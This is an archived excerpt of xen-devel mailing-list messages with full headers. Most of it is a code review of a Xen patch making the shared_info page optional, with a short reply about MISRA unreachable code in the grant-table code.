 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:29:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wojkk-003Fg3-Io
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:29:58 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a68cad8-e002-0a2a0a5209dd-0a2a4509cb56-40
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:29:58 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a68caf6-be1a-0a2a45090019-d1558032b8b0-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:29:58 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-496bb7cdf51so24901635e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:29:58 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c4443396sm97316405e9.0.2026.07.28.08.29.56
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 08:29:57 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785252598; x=1785857398; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=i7uD6Yfy6zGmzeGY9hvJPIzrC7dI2vp+9FFZsWe2Yws=;
        b=I44YYgARWdELnFZijYuRtbolcMVZKfehPjVAE5hQ64kBpjBgY5X1iPtqkAnVcvrDJ+
         /K6im+kfbaMCMxw3QZVmC3EYWhme3J63WAch9aDr77uyVo+V9/Mnr+ANnzQdvfBs+i5q
         U2l6pFsaV0KMMcdkINF56bNnz6Pv1Sc7BCSMSB7+OXr28YL68lXY1T9vxs7BhEewAJJT
         GNg+ssZyjAkQcIfdSc0DjQmg7jHMMDzpk7ml6QXhyCgRuS+sd0QIBZwYQbmxgboqOZ2J
         HnenRApZj/tFoJKxSi4TY+aUhtiGYMhLjY2s/3E7CUufCik6RXzfdrnR6KXgWWPwVSUu
         o8rg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785252598; x=1785857398;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=i7uD6Yfy6zGmzeGY9hvJPIzrC7dI2vp+9FFZsWe2Yws=;
        b=aVhWBzSmyngTsns1hOszxWjVipFtsYpwTlr42fcwrU3awtPn3phaBYmbEyhcJO4we8
         cxPsaZORA2hlcF8dGM+B49VdmIySMzmMSg/U7SQXFlPWOWaGf5KwQc/9D/5Klh58KzAb
         9isGwVlhLo/2PAw0URV11BZt5AvOGR3EtKGmih2BZbg7/s/wQhx21Oy/ILgSs0G5ODfI
         zRCHjuCPoe6UfLnAuuH2QtdrYprQEEZnwWzTEMLHIzKkc2sSwWDKbtM9DItypkHESO7g
         B3W+t++ydNZw+o5hc1CP4cP2CfufjP8DE7TQcJyzVmdyrrj8yLUZGpB3iZPt7CYRV34m
         5TwA==
X-Forwarded-Encrypted: i=1; AHgh+Rr9zzMafEvQGtLVMaD356gscZScY6ad6vAhhoYtiI/O0wsEyU2yCOPFOleQovUKeyCkK7XdUym1XLY=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx8lb0uYPVeFWnWGWaL7PHVlWzFHu/aP1pTsan5bNahpz42ccdD
	EWKYmRgPL+GomkLaAKv0P5ApHw2sTHMKtn+vUw3qN/PTpUBTYrP/VVpv
X-Gm-Gg: AR+sD12LucUPCn3w4zWKd4h3DVqV29UoGRaAl4JYKtdFH+xBvqNlb6Flxymi4CzJNqD
	mrHxeS4iJJigaLUXG656U3eOWbDsPOSV6WrSJ9G4vHDXHTUZe7TS+6nHd2PAaXTnDRpytUD2dTU
	O6th16JlEupnfQFfkSIi19pM7+V3rXM4Ax0n/Xbi+GHoAw2EHM2yNgukzSoZsFnpwugB7vPkqcO
	iKzUpuRYALElSO+95cmLeyo+HKbh+VQXuOA0RA1tgNvvBjn0/bhQBawiaJTfws3l1f5B9lLefx/
	6nYqNHKkFUnTcWCWP5mKJwD3NSyD5ioMEZyd7zvMYRIOHqjzts9hir8TlXQIyKMnTOqEJy8NWLQ
	y/AESL0v9n6horISyofxjj9bT2URYy/XewrGBzrUGfKHEXrxGxQqeHyY74klBSSBQs0/tNqBaKC
	l1DwciqQER4X3OQcCpddaZqoRHA6ii1QsVnOQcIl58mm3VdHOAPZJdfe3H
X-Received: by 2002:a05:600c:4eca:b0:495:64c6:84e9 with SMTP id 5b1f17b1804b1-496c60bce8cmr31689815e9.0.1785252597888;
        Tue, 28 Jul 2026 08:29:57 -0700 (PDT)
Message-ID: <c4fa7f44-a11b-43ef-9f7f-e202b26957d0@gmail.com>
Date: Tue, 28 Jul 2026 17:29:56 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 01/23] xen: introduce CONFIG_HAS_SHARED_INFO for archs
 without a shared page
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <01df5be27b502a19dd51ded7577af68cee234c58.1784559209.git.oleksii.kurochko@gmail.com>
 <e8b6669c-a938-43b4-bb9e-d9c26b83fc57@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <e8b6669c-a938-43b4-bb9e-d9c26b83fc57@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1785252598-FDA6E034-A5BF5BE4/10/73395122804
X-purgate-type: spam
X-purgate-size: 2251



On 7/21/26 4:50 PM, Jan Beulich wrote:
> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>> --- a/xen/common/domctl.c
>> +++ b/xen/common/domctl.c
>> @@ -102,9 +102,14 @@ void getdomaininfo(struct domain *d, struct xen_domctl_getdomaininfo *info)
>>   #ifdef CONFIG_MEM_PAGING
>>       info->paged_pages       = atomic_read(&d->paged_pages);
>>   #endif
>> -    info->shared_info_frame =
>> -        gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
>> -    BUG_ON(SHARED_M2P(info->shared_info_frame));
>> +    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
>> +    {
>> +        info->shared_info_frame =
>> +            gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
>> +        BUG_ON(SHARED_M2P(info->shared_info_frame));
>> +    }
>> +    else
>> +        info->shared_info_frame = gfn_x(INVALID_GFN);
> 
> There's one issue left here: INVALID_GFN is a Xen internal concept. It could
> change value if we saw a need. Therefore you cannot use that value here, to
> supply it as hypercall output. It needs to be ~0, and imo the public header
> also wants amending to indicate the special meaning of this value.

I think I get your point. I will use ~0 here.

I don't see INVALID_GFN in public headers. If it exists then it isn't 
clear why it shouldn't be used here.

Don't we want to add something like:

/* Domain has no shared_info page? */
#define XEN_INVALID_SHARED_INFO_FRAME (~0ULL)
     uint64_aligned_t shared_info_frame; /* GMFN of shared_info struct */

in public/domctl.h.

> 
> And there's one further aspect to consider: Do we really want to retain the
> shared_info struct domain field when !HAS_SHARED_INFO? 

I think we could consider that.

> Making it conditional
> would require some adjustment here, but might be tidier overall. In
> particular doing so would eliminate the risk of new uses of the field
> appearing, with people not noticing that they'd break RISC-V.

Would you be okay with the following change:

+#ifdef CONFIG_HAS_SHARED_INFO
+    info->shared_info_frame =
+        gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
+    BUG_ON(SHARED_M2P(info->shared_info_frame));
+#else
+    info->shared_info_frame = ~0;
+#endif

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:40:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:40:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374869.1622148 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojuv-0005pX-Pr; Tue, 28 Jul 2026 15:40:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374869.1622148; Tue, 28 Jul 2026 15:40:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojuv-0005pQ-Mu; Tue, 28 Jul 2026 15:40:29 +0000
Received: by outflank-mailman (input) for mailman id 1374869;
 Tue, 28 Jul 2026 15:40:27 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <nicola.vetrini@bugseng.com>) id 1wojut-0005pJ-KM
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:40:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wojut-003HLT-1G
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:40:27 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <nicola.vetrini@bugseng.com>)
 id 6a68cd6a-2eae-0a2a0a5409dd-0a2a4508e58c-0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:40:26 +0200
Received: from [162.55.131.47] (helo=support.bugseng.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <nicola.vetrini@bugseng.com>)
 id 6a68cd69-f659-0a2a45080019-a237832fb1d8-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:40:26 +0200
Received: from support.bugseng.com (support.bugseng.com [162.55.131.47])
 (Authenticated sender: nicola)
 by support.bugseng.com (Postfix) with ESMTPA id B0DEE4EE013F;
 Tue, 28 Jul 2026 17:40:25 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Authentication-Results: bugseng.com; arc=none smtp.remote-ip=162.55.131.47
ARC-Seal: i=1; d=bugseng.com; s=openarc; a=rsa-sha256; cv=none; t=1785253225;
	b=sFjqgIsPBKBu79RsU303nPRSd8ZLDv7MhSBK8avI+bXpWRYnJYreLsVUHo1ttbIlTxH/
	 xKzaw6R/56vxeOGUdVYF6ifZvqZcmXLwaIoNKUtaCJzUhAx4z7JFXngEjCj38WcKjjLqv
	 xsQ3MRcx+NQ7Zb2pVtoz16CaOjWKYmvtdfdr4fGb6jrReA2WDRnPdQsbP3RXNGB4J1cfu
	 AH2CY6PgfT9Uo3Bf8oE/ZoUdYt9+iui87YrQfLlwpjHruMrR97FxWXvSKvmucNMLhYizl
	 3rDGPd/UUoNxQ9W4BG340hVF2lZJIK6x4Dvlhql+fFCNF0NSiPl8GQgD+oU/0Bs215sZc
	 ufAIktbYcvIZ3YkI8XLSFMbvPxoM8teifYjkWWHku/x+81G/yIC32731Em0ZeZokScvqm
	 OvdiWl9xlPWi7+Me34k7p0kRS0/KPM2JYkeDzjwk1sulZpkhoTvmXBA5uzwVcftA/piGR
	 YUwKcLDgeJrxoUyzUL4fG8RkjgUqIerkdkoxq2LMY4Ju6RqOWTjWCpKrBk1CRPGttYkAa
	 YszOk68O1M0cpgQwsZlav14XKa9elRIzVHNE4X0L4zjBowJm6hqnEIcess/zaYWChI6gj
	 ulNGFpje3jSf5d0a7M7eZcAyLEcLiZPjOh4zMrBg5BrTt2LEE1dMWvHo9Onunec=
ARC-Message-Signature: i=1; d=bugseng.com; s=openarc; a=rsa-sha256;
	c=relaxed/relaxed; t=1785253225;
	h=MIME-Version:Date:From:To:Cc:Subject:In-Reply-To:References:
	 Message-ID:X-Sender:Organization:Content-Type:
	 Content-Transfer-Encoding;
	bh=GZRxfA2a9r/rHRg7Nrds5A0i0EklgCR+q1mAt63ipz4=;
	b=1vEIiLa7QY1YzBdjSESHCr5XdjfE+5HrQYP1sOkmCkHUWjZzQ7eDhQcx3K3JfLM5i2VN
	 vNI6ciYHl53fJoSlYJI8hxjf2LACTtWE0bytQsVPJRKUeL+Kqn0o3ExV9pPNm3eiZxLP+
	 RQtgMxgOfAw0AHobrMgknridlDjd64PLIydSzq3RZGFSpC/eooV4OJPL6LhVcyvlKYwL+
	 7kirKFCDSea1+5WUSbFGnpRLq5Lg+djJcO8TtjYLHUk6AeIhHJ5Fj44VlfUNnx+rwLkcC
	 YWQ1ivFDu6x47GVLPO6BHsgg7htfPuvMraxOQ9QanUNaMgCFBdLXyTYSd7U3+CE9SEWFU
	 33OsOeKL6rg73HABuM2OjkoxF4/K9X4GkZrtFDP7yIeUtvaDlYnf87VO5eCKRRvtDsWeD
	 F0xcXMVqUUZ97pXb59xYclYrYSPOLRA1fdUpvvShkXOO+FpvqLISGrmNl9QS/eFb60Cs9
	 cniUEJT+ZUSnDvnJV+hqYlIlij6K4zB/6b3oy53/6WVNCqGCcRanxSUHfZz9D3rd+OA0W
	 2nbRmM4fDycabyI2AAzIveuxWpdenypLgnPUy0bf204F7iS60XIUa9T6E7+m3lSuDXOr5
	 ePP8r+WEbLGUlVQtGJXDg9uLgFFeKEXS+XyxIifZ7Ist8/Z8lfvUmK8WeG4nDQg=
ARC-Authentication-Results: i=1; bugseng.com; arc=none smtp.remote-ip=162.55.131.47
MIME-Version: 1.0
Date: Tue, 28 Jul 2026 17:40:25 +0200
From: Nicola Vetrini <nicola.vetrini@bugseng.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: xen-devel@lists.xenproject.org, Andrew Cooper
 <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>, Stefano
 Stabellini <sstabellini@kernel.org>, Anthony PERARD
 <anthony.perard@vates.tech>, Michal Orzel <michal.orzel@amd.com>
Subject: Re: [PATCH 7/7] gnttab: unreachable code when GNTTAB_MAX_VERSION < 2
In-Reply-To: <436c0688-8b9a-4e56-9d4c-c81dcfbea56e@suse.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
 <436c0688-8b9a-4e56-9d4c-c81dcfbea56e@suse.com>
Message-ID: <013f1cb3f76ed613be42d4f6157e3d0d@bugseng.com>
X-Sender: nicola.vetrini@bugseng.com
Organization: BUGSENG s.r.l.
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1785253226-CE54487B-6A6677BC/0/0
X-purgate-type: clean
X-purgate-size: 757

On 2026-07-28 15:53, Jan Beulich wrote:
> I'm surprised Eclair doesn't spot the large chunks of unreachable code 
> on
> Arm, i.e. violations of Misra C:2012 rule 2.1.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> This pretty certainly isn't dealing with everything. For example, with
> another helper the gt_version field could likely also become 
> conditional.
> With some more effort the nr_status_frames field similarly could become
> conditional.
> 
[...]

Hard to judge only looking at the diff. Is this code unreachable in the 
arm64-allcode analysis configuration as well?

-- 
Nicola Vetrini, B.Sc.
Software Engineer
BUGSENG (https://bugseng.com)
LinkedIn: https://www.linkedin.com/in/nicola-vetrini-a42471253


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:40:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:40:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374870.1622157 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojuz-00063e-0W; Tue, 28 Jul 2026 15:40:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374870.1622157; Tue, 28 Jul 2026 15:40:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojuy-00063X-Tl; Tue, 28 Jul 2026 15:40:32 +0000
Received: by outflank-mailman (input) for mailman id 1374870;
 Tue, 28 Jul 2026 15:40:32 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wojuy-00063D-6K
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:40:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wojux-00EpAB-Bw
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:40:31 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68cd5f-2eae-0a2a0a5409dd-0a2a45039890-28
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:40:31 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68cd6f-fae8-0a2a45030019-d155dd2cc01e-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:40:31 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-47f64ca1c2dso1209040f8f.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:40:31 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fb6aa3a32sm105576f8f.2.2026.07.28.08.40.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 08:40:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785253231; x=1785858031; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=hFZwZn3DnJBY7rChZGEND6UQLFucbMlM7emvpdkl73c=;
        b=ORcELPFPipDvl3VaAtdI3o7txr35JAA9gihbXbtcROu7yqptSz35S6DMpQoTI2YdgW
         wF2nOGaZ7tSZ5CgwDQ5032HrUHglAHSiNKuNMmaJ7mjziTbrMq6ixpG1py6nkG328UYS
         37fYSxyBSFs677DOkLwdKlEHd4b0+SVLBRxsUla8a5otglJwnWmbcJY9gk5x9WN9sccN
         LMvTSKNgmFR3eGbMe/9YcPddLaXIS1uaGBMhREkY/9oAhrmOQh6da5K6pwys5FTCxYFb
         X22IhxZ9l/nZ7FHQYjIsq4xiAP3fVaxa4rn2bC5eTmqaa1bxWMSZnlL/9/yXfAnEzeF2
         ex1Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785253231; x=1785858031;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=hFZwZn3DnJBY7rChZGEND6UQLFucbMlM7emvpdkl73c=;
        b=TO0qFvwoKcspS8Km6xH6/1Hv01BByxOzJwoqbXQAMGwHocxfmdKc6+eoubG3+86f3Q
         D/fx3aVsx1F47QgHmZrB+fEVoLvz5KWhKBjLqiQHPKYjAB1ns1bcmT/PmxYgt/NVM75m
         RX5T1c7COf0nKys5FxqaTxO57qLKwOW4Jrx4RVT3CwuQfaY7SQDA7ZgmlZ9Zy9puQ3Rl
         wKQeY7ASlpSFA2wYkoDNfoGQqBDLwsvSd14Eb1smYQFpNThsouXaDojGZOYRP5SqFSYX
         BWCOxG0FCAS7kX/d2GF+KPjQtkH6QF1ZntCyNYCHlJ519wZDTRC9EaTlsIvZJmD54Ypc
         n1NA==
X-Forwarded-Encrypted: i=1; AHgh+RomQQc3RANnJUPT9plzUou1r43GfWnM6sIy9frjkrAPsHcfwmMagKalM6U9n4lYyNtqKui5ONIx5Qs=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxdp3N0nd8oAA+702Ua1wS2rRROV8CbADbfTH0dS929jtp6m2Pu
	V7CYtq+B6IrhFkyBBG6zeWkScQuGXwL/wbLgPn018ZJUawMxAn3W2msz7NeNipwhvw==
X-Gm-Gg: AR+sD10M9730dj3MAbYyZYnlkogEoF8AZc6AeaSq3mzS5m0U+Ohz5Rzb1gEvM69acgz
	HZystt61PZrJADpFyuZ5zOtqo7IPsZWDEL9MsW9mmWUf/m3gkJ9gOVnhXoX59WvHZIYbCsEmDnx
	+/j8qXLRhpO1iwZox4rKedn1rQAn7usk57j30MJTYFwNjcxZbtux+zbFMEUG6hZagHQ48u/RbnY
	s8eu7mnSeCu/40jQI1pYlZDg2Bd6q7qve4/EGIb77hUxnwtAxHLeDlDNVDJsrjQMzJqoFRr9ZZ+
	klsXnMemZNP8GQdSOec1Sk3QKGDTbRYcaEdr+KuvrweTcmvZ1LVtF6cV23McrrFVUuK+18cayzM
	4MTh9b3nkTCQepKBrLS0BmzUVNHASt+WB2pNnAeRUiJY39NT2EFyIANoOakYaPrFSqDWPSGWxOf
	9S43ghLZdxCjh/5MaEs8yCGFhI+IVDPTv0Qz+No4r7H8op7TN5GshtZfpdEOeHfGT9bQ==
X-Received: by 2002:a5d:5d0b:0:b0:47f:80c3:92a0 with SMTP id ffacd0b85a97d-47fb1f13dffmr3320447f8f.29.1785253230758;
        Tue, 28 Jul 2026 08:40:30 -0700 (PDT)
Message-ID: <0183df56-8f9d-4c1d-aa8b-43bc315696be@suse.com>
Date: Tue, 28 Jul 2026 17:40:28 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 01/23] xen: introduce CONFIG_HAS_SHARED_INFO for archs
 without a shared page
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <01df5be27b502a19dd51ded7577af68cee234c58.1784559209.git.oleksii.kurochko@gmail.com>
 <e8b6669c-a938-43b4-bb9e-d9c26b83fc57@suse.com>
 <c4fa7f44-a11b-43ef-9f7f-e202b26957d0@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+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lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <c4fa7f44-a11b-43ef-9f7f-e202b26957d0@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785253231-778F24E9-81E5A9C5/0/0
X-purgate-type: clean
X-purgate-size: 3032

On 28.07.2026 17:29, Oleksii Kurochko wrote:
> On 7/21/26 4:50 PM, Jan Beulich wrote:
>> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>>> --- a/xen/common/domctl.c
>>> +++ b/xen/common/domctl.c
>>> @@ -102,9 +102,14 @@ void getdomaininfo(struct domain *d, struct xen_domctl_getdomaininfo *info)
>>>   #ifdef CONFIG_MEM_PAGING
>>>       info->paged_pages       = atomic_read(&d->paged_pages);
>>>   #endif
>>> -    info->shared_info_frame =
>>> -        gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
>>> -    BUG_ON(SHARED_M2P(info->shared_info_frame));
>>> +    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
>>> +    {
>>> +        info->shared_info_frame =
>>> +            gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
>>> +        BUG_ON(SHARED_M2P(info->shared_info_frame));
>>> +    }
>>> +    else
>>> +        info->shared_info_frame = gfn_x(INVALID_GFN);
>>
>> There's one issue left here: INVALID_GFN is a Xen internal concept. It could
>> change value if we saw a need. Therefore you cannot use that value here, to
>> supply it as hypercall output. It needs to be ~0, and imo the public header
>> also wants amending to indicate the special meaning of this value.
> 
> I think I get your point. I will use ~0 here.
> 
> I don't see INVALID_GFN in public headers. If it exists then it isn't 
> clear why it shouldn't be used here.
> 
> Don't we want to add something like:
> 
> /* Domain has no shared_info page? */
> #define XEN_INVALID_SHARED_INFO_FRAME (~0ULL)
